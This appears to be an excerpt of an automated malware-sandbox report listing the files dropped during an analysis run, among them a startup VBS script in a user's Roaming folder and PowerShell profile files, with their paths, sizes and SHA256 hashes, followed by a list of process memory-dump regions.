            • Path C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo
            • Size 607KB
            • SHA256 5b03ac56a52a1c78eae6172e2efe51874d11418bfe78fe2ce3c033afb557d03d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 d1e6ed5c1280a61c63119ef6f22017b2a41ed79a978b991f1c2114d910cfe8f4
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_hq0jyvyh.4rg.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hq0jyvyh.4rg.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            startup_str_177.vbs

            • Path C:\Users\Admin\AppData\Roaming\startup_str_177.vbs
            • Size 115B
            • SHA256 d40dbf592aed1d725028a1c3d9c220fbcca6623dbb3596db1b899e3e08fa851f
            • MD5 SHA1 SHA512 TLSH

            memory/1536-47-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/1536-28-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/1536-19-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/1536-20-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/1536-24-0x0000029C51A40000-0x0000029C51AF2000-memory.dmp

            memory/1536-23-0x0000029C517D0000-0x0000029C517EE000-memory.dmp

            memory/1536-25-0x0000029C517F0000-0x0000029C517FA000-memory.dmp

            memory/1536-40-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/1536-26-0x0000029C51C50000-0x0000029C51C6E000-memory.dmp

            memory/4216-7-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-2-0x000002A02CD80000-0x000002A02CDA2000-memory.dmp

            memory/4216-18-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-17-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-12-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-13-0x000002A02CE30000-0x000002A02CE66000-memory.dmp

            memory/4216-11-0x000002A02CE20000-0x000002A02CE28000-memory.dmp

            memory/4216-44-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-43-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-10-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-9-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-41-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-1-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-0-0x00007FF8998AF000-0x00007FF8998B0000-memory.dmp

            memory/4216-5-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-6-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4216-8-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/4944-1208-0x000001FAB83E0000-0x000001FAB83FC000-memory.dmp

            memory/4944-2941-0x000001FAB8400000-0x000001FAB8432000-memory.dmp

            memory/4944-42-0x000001FAD0880000-0x000001FAD0896000-memory.dmp

            memory/4944-49-0x000001FAD14E0000-0x000001FAD1556000-memory.dmp

            memory/4944-50-0x000001FAD08B0000-0x000001FAD08E4000-memory.dmp

            memory/4944-51-0x000001FAD0900000-0x000001FAD091E000-memory.dmp

            memory/4944-52-0x000001FAD1560000-0x000001FAD1A2C000-memory.dmp

            memory/4944-277-0x000001FAD2F30000-0x000001FAD3338000-memory.dmp